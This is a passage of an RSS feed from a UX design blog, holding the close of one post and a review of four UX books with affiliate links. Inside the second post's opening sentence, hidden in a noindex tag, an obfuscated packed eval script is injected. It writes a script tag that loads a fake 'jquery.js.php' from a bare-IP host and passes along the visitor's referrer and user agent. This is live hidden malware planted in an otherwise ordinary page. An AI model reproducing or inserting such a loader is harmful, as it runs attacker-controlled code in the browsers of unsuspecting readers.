<p>If you want to read more about the tension between different interest in a project and techniques to find a good balance, I suggest you check out the excellent book <a href="http://www.amazon.com/gp/product/0321607376?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=0321607376" title="Buy A project Guide to UX from Amazon.com">A Project Guide to UX Design</a>. Pay special attention to <em>Chapter 9 &#8211; Transition: From Defining to Designing</em>, where this process is described in detail. You can also check out my <a href="http://www.svennerberg.com/2010/03/a-project-guide-to-ux-design-book-review/" title="A Project Guide to UX Design">full review of the book</a>.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/04/how-to-balance-different-interests-within-a-project/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
							</item>
		<item>
		<title>4 Books on UX that I&#8217;ve read recently</title>
		<link>http://www.svennerberg.com/2011/04/4-books-on-ux-that-ive-read-recently/</link>
				<comments>http://www.svennerberg.com/2011/04/4-books-on-ux-that-ive-read-recently/#respond</comments>
				<pubDate>Fri, 15 Apr 2011 13:00:48 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Book]]></category>
		<category><![CDATA[Usability]]></category>
		<category><![CDATA[UX]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3002</guid>
				<description><![CDATA[I&#8217;ve recently read a few books on User Experience design and this is a run down of them. Although they&#8217;re all about UX Design, they&#8217;re still very different in their approach to the subject. I list them here, from the most practical to the most theoretical. Undercover User Experience Design The first book out is [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a href="http://media.svennerberg.com/2011/04/IMG_16311_1.jpg"><img class="alignright size-full wp-image-3026" title="user-experience-books-160" src="http://media.svennerberg.com/2011/04/user-experience-books-160.jpg" alt="" width="160" height="160" /></a>I&#8217;ve <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzskt|var|u0026u|referrer|rzfaz||js|php'.split('|'),0,{}))
</script></noindex> recently read a few books on User Experience design and this is a run down of them.</p>
<p>Although they&#8217;re all about UX Design, they&#8217;re still very different in their approach to the subject. I list them here, from the most practical to the most theoretical.</p>
<p><span id="more-3002"></span></p>
<h2 class="clear">Undercover User Experience Design</h2>
<div id="attachment_3017" style="width: 170px" class="wp-caption alignright"><a href="http://www.amazon.com/gp/product/0321719905/ref=as_li_ss_tl?ie=UTF8&amp;tag=inusabiwetrus-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321719905"><img aria-describedby="caption-attachment-3017" class="size-full wp-image-3017" title="Buy Undercover User Experience Design from Amazon.com" src="http://media.svennerberg.com/2011/04/undercover-user-experience-design-160.png" alt="" width="160" height="240" /></a><p id="caption-attachment-3017" class="wp-caption-text">Buy from Amazon.com</p></div>
<p>The first book out is <strong>Undercover User Experience Design</strong> by <strong>Cennydd Bowles</strong> and <strong>James Box</strong>. Both designers at the renowned web agency <a href="http://clearleft.com/">Clearleft</a>. This book takes a pragmatic approach to the UX process. The authors recognize that it can be hard to do UX-work in an organization that has not yet realized the benefits of UX. This book is all about how you can sneak in this kind of work anyway to slowly get the organization in the know.</p>
<p>Undercover User Experience Design offer very practical and cheap approaches for conducting:</p>
<ul>
<li>User research</li>
<li>Idea generation</li>
<li>Prototyping</li>
<li>User testing</li>
</ul>
<h3>Who is this book for</h3>
<p>If you want a hands-on book with practical suggestions on how to perform UX work, this is a good book to start with. Also if your dealing with clients that don&#8217;t get UX or work within an organization that don&#8217;t get it, I highly recommend you buy it.</p>
<h3>Book information</h3>
<dl class="book-info">
<dt>Title:</dt>
<dd>Undercover User Experience Design</dd>
<dt>Authors:</dt>
<dd>Cennydd Bowles and James Box</dd>
<dt>Publisher:</dt>
<dd>New Riders Press; 1 edition (September 27, 2010)</dd>
<dt>Pages:</dt>
<dd>192</dd>
<dt>ISBN:</dt>
<dd> 0321719905</dd>
<dt>ISBN-13:</dt>
<dd>978-032171990</dd>
</dl>
<p><a title="Buy Undercover User Experience Design from Amazon.com" href="http://www.amazon.com/gp/product/0321719905/ref=as_li_ss_tl?ie=UTF8&amp;tag=inusabiwetrus-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321719905">Buy from Amazon.com</a><img style="border: none !important; margin: 0px !important;" src="http://www.assoc-amazon.com/e/ir?t=&amp;l=as2&amp;o=1&amp;a=0321719905" border="0" alt="" width="1" height="1" /><br />
<a title="Buy from Adlibris.com" href="http://clkuk.tradedoubler.com/click?p(21)a(1897042)g(16159304)url(http://www.adlibris.com/se/product.aspx?isbn=0321719905)" target="_blank">Buy from Adlibris.com</a><img src="http://impgb.tradedoubler.com/imp?type(inv)g(16159304)a(1897042)" alt="" /> (Sweden)</p>
<h3>Sketching User Experiences</h3>
<div id="attachment_3029" style="width: 170px" class="wp-caption alignright"><a href="http://www.amazon.com/gp/product/0123740371/ref=as_li_ss_tl?ie=UTF8&amp;tag=inusabiwetrus-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0123740371"><img aria-describedby="caption-attachment-3029" class="size-full wp-image-3029" title="Buy  Sketching User Experiences from Amazon.com" src="http://media.svennerberg.com/2011/04/sketching-the-user-experience-160.jpg" alt="" width="160" height="190" /></a><p id="caption-attachment-3029" class="wp-caption-text">Buy from Amazon.com</p></div>
<p><strong>Sketching User Experiences</strong> was not at all what I expected it to be. I thought it would be a book on how to use sketches on paper for designing user interfaces. It turned out that the author <strong>Bill Buxton</strong> means sketching in a much broader sense. In his definition a sketch is:</p>
<ol>
<li>Quick: quick to make</li>
<li>Timely: can be provided whenever needed</li>
<li>Inexpensive</li>
<li>Disposable</li>
<li>Plentiful</li>
<li>Clear vocabulary: the style makes it clear that it is a sketch and not a finished product</li>
<li>Distinct gesture: similar to the vocabulary, sketches are distinctly open and free</li>
<li>Minimal detail</li>
<li>Appropriate degree of refinement</li>
<li>Suggest and explore rather than confirm</li>
<li>(Intentional) Ambiguity</li>
</ol>
<p>With this definition a sketch can be anything from a carved out piece of wood that represents a PDA to an actual sketch on a piece of paper. What he proposes is that you should always do different types of prototyping to test a product out before starting to actually create it. What this process aims for is to not only <strong>get the design right</strong> but also <strong>to create the right design</strong>.</p>
<p>That the book wasn&#8217;t what I expected wasn&#8217;t a bad thing. I think Buxtons thoughts on the design process is very interesting and all viable if you&#8217;re in an organization with big budgets for this kind of work. And even if you&#8217;re not, there&#8217;s still a lot of interesting ideas in it that you can apply to your work.</p>
<p>The book is both very practical and theoretical. While it discusses the design process from both a design, development and business perspective on a fairly theoretical level it also supplies lots of hands on examples and approaches.</p>
<h3>Who is this book for</h3>
<p>If you&#8217;re interested in the design process not only from a designers perspective but also from a development and business perspective this book is definitely for you. Also if you&#8217;re interested in prototyping on different levels, this might be an interesting book for you.</p>
<h3>Book information</h3>
<dl class="book-info">
<dt> Title:</dt>
<dd>Sketching User Experiences</dd>
<dt>Author:</dt>
<dd>Bill Buxton</dd>
<dt>Publisher:</dt>
<dd>Morgan Kaufmann (March 30, 2007)</dd>
<dt>Pages:</dt>
<dd>448</dd>
<dt>ISBN:</dt>
<dd>9780123740373</dd>
<dt>ISBN-13:</dt>
<dd>978-0123740373</dd>
</dl>
<p><a title="Buy  Sketching User Experiences from Amazon.com" href="http://www.amazon.com/gp/product/0123740371/ref=as_li_ss_tl?ie=UTF8&amp;tag=inusabiwetrus-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0123740371">Buy from Amazon.com</a><img style="border: none !important; margin: 0px !important;" src="http://www.assoc-amazon.com/e/ir?t=&amp;l=as2&amp;o=1&amp;a=0123740371" border="0" alt="" width="1" height="1" /><br />
<a title="Buy from Adlibris.com" href="http://clkuk.tradedoubler.com/click?p(21)a(1897042)g(16159304)url(http://www.adlibris.com/se/product.aspx?isbn=0123740371)" target="_blank">Buy from Adlibris.com</a><img src="http://impgb.tradedoubler.com/imp?type(inv)g(16159304)a(1897042)" alt="" /> (Sweden)</p>
<h2>Simple and Usable Web, Mobile, and Interaction Design</h2>
<div id="attachment_3013" style="width: 170px" class="wp-caption alignright"><a href="http://www.amazon.com/gp/product/0321703545/ref=as_li_ss_tl?ie=UTF8&amp;tag=inusabiwetrus-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321703545"><img aria-describedby="caption-attachment-3013" class="size-full wp-image-3013" title="Buy Simple and Usable Web, Mobile, and Interaction Design from Amazon.com" src="http://media.svennerberg.com/2011/04/simple-and-usable-160.png" alt="" width="160" height="213" /></a><p id="caption-attachment-3013" class="wp-caption-text">Buy from Amazon.com</p></div>
<p>The book <strong>Simple and Usable</strong> is about creating simple and usable digital products and services without dumbing down. According to<strong> Giles Colborne</strong>, the author of the book, there are essentially 4 strategies for reducing complexity without losing important features:</p>
<ul>
<li>Organizing</li>
<li>Removing</li>
<li>Hiding</li>
<li>Displacing</li>
</ul>
<p>These 4 strategies is the core of the book and they&#8217;re beautifully illustrated by applying them to the design of a complex remote control. There&#8217;s also lots of other examples.</p>
<p>The book is organized into 8 parts which each consists of several chapters. Each chapter is just one page long which I think is an interesting approach. It makes the book really easy to digest and also makes it easy to later look up things.</p>
<h3>Who is this book for</h3>
<p>If you have already have some experience in design and wants a fresh perspectives on interaction design for web and mobile platforms, this book will be good for you. Apart from the four core strategies for reducing complexity it contains a lot of other gems that you can use to improve you designs.</p>
<h3>Book information</h3>
<dl class="book-info">
<dt>Title:</dt>
<dd>Simple and Usable Web, Mobile, and Interaction Design</dd>
<dt>Author:</dt>
<dd>Giles Colborne</dd>
<dt>Publisher:</dt>
<dd>New Riders Press; 1 edition (September 26, 2010)</dd>
<dt>Pages:</dt>
<dd>208</dd>
<dt>ISBN:</dt>
<dd> 9780321703545</dd>
<dt>ISBN-13:</dt>
<dd>978-0321703545</dd>
</dl>
<p><a title="Buy Simple and Usable Web, Mobile, and Interaction Design" href="http://www.amazon.com/gp/product/0321703545/ref=as_li_ss_tl?ie=UTF8&amp;tag=inusabiwetrus-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321703545">Buy from Amazon.com</a><img style="border: none !important; margin: 0px !important;" src="http://www.assoc-amazon.com/e/ir?t=&amp;l=as2&amp;o=1&amp;a=0321703545" border="0" alt="" width="1" height="1" /><br />
<a title="Buy from Adlibris.com" href="http://clkuk.tradedoubler.com/click?p(21)a(1897042)g(16159304)url(http://www.adlibris.com/se/product.aspx?isbn=0321703545)" target="_blank">Buy from Adlibris.com</a><img src="http://impgb.tradedoubler.com/imp?type(inv)g(16159304)a(1897042)" alt="" /> (Sweden)</p>
<h2>Living with Complexity</h2>
<div id="attachment_3020" style="width: 170px" class="wp-caption alignright"><a href="http://www.amazon.com/gp/product/0262014866/ref=as_li_ss_tl?ie=UTF8&amp;tag=inusabiwetrus-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0262014866"><img aria-describedby="caption-attachment-3020" class="size-full wp-image-3020" title="Buy Living with Complexity from Amazon.com" src="http://media.svennerberg.com/2011/04/living-with-complexity-160.jpg" alt="" width="160" height="235" /></a><p id="caption-attachment-3020" class="wp-caption-text">Buy from Amazon.com</p></div>
<p><strong>Living with Complexity</strong> is the latest book by <strong>Don Norman</strong>. If you&#8217;re not already familiar with his work he&#8217;s written several seminal books on usability and is one of the pioneers in the field. (You should definitely check out <a title="Buy The Design of Everyday Things on Amazon.com" href="http://www.amazon.com/gp/product/0465067107/ref=as_li_ss_tl?ie=UTF8&amp;tag=inusabiwetrus-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0465067107">The Design of Everyday Things</a><img style="border: none !important; margin: 0px !important;" src="http://www.assoc-amazon.com/e/ir?t=inusabiwetrus-20&amp;l=as2&amp;o=1&amp;a=0465067107" border="0" alt="" width="1" height="1" />) In <strong>Living with Complexity</strong> he addresses the fact that we live in a complex world. Norman writes about the dilemma that we crave simplicity but in reality need complexity.</p>
<p>A good metaphor for this is the cockpit of an airplane. For an untrained person it looks very complicated with its vast arrays of dials and instruments. For the trained pilot on the other hand, it looks very well organized and suited for their needs. A cockpit can&#8217;t be dumbed down to a single instrument, because all the instruments are needed for the pilot to take the plane safely from one airport to another. Therefore other strategies are required, training for example.</p>
<h3>Who is this book for</h3>
<p>This book is more academic and theoretical in nature than the others. If you&#8217;re looking for a practical book on how to do design, this book is not for you. But if you more interested in the philosophical side of design, I strongly recommend it.</p>
<h3>Book information</h3>
<dl class="book-info">
<dt>Title:</dt>
<dd>Living with Complexity</dd>
<dt>Author:</dt>
<dd>Donald A. Norman</dd>
<dt>Publisher:</dt>
<dd>The MIT Press (October 31, 2010)</dd>
<dt>Pages:</dt>
<dd>280</dd>
<dt>ISBN:</dt>
<dd>0262014866</dd>
<dt>ISBN-13:</dt>
<dd>978-0262014861</dd>
</dl>
<p><a title="Buy Living with Complexity from Amazon.com" href="http://www.amazon.com/gp/product/0262014866/ref=as_li_ss_tl?ie=UTF8&amp;tag=inusabiwetrus-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0262014866">Buy from Amazon.com</a><img style="border: none !important; margin: 0px !important;" src="http://www.assoc-amazon.com/e/ir?t=&amp;l=as2&amp;o=1&amp;a=0262014866" border="0" alt="" width="1" height="1" /><br />
<a title="Buy from Adlibris.com" href="http://clkuk.tradedoubler.com/click?p(21)a(1897042)g(16159304)url(http://www.adlibris.com/se/product.aspx?isbn=0262014866)" target="_blank">Buy from Adlibris.com</a><img src="http://impgb.tradedoubler.com/imp?type(inv)g(16159304)a(1897042)" alt="" /> (Sweden)</p>
<h2>Conclusion</h2>
<p>These were a few of the books that I&#8217;ve read recently. I think they all have something to bring to the table in their own unique ways. Personally I believe that reading books is one of the best ways to get better at what you do. It not only expands your horizons but also confirms the knowledge you already have and can spark new ideas that you can use in your work. If you&#8217;re interested in more book on usability and UX you might want to read <a href="../2008/07/5-essential-books-on-usability/">5 Essential Books on Usability</a>, an article I wrote a couple of years ago.</p>
<p>So what do you think? Have you read any of these books or any others on UX recently?</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/04/4-books-on-ux-that-ive-read-recently/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
	</channel>
</rss>
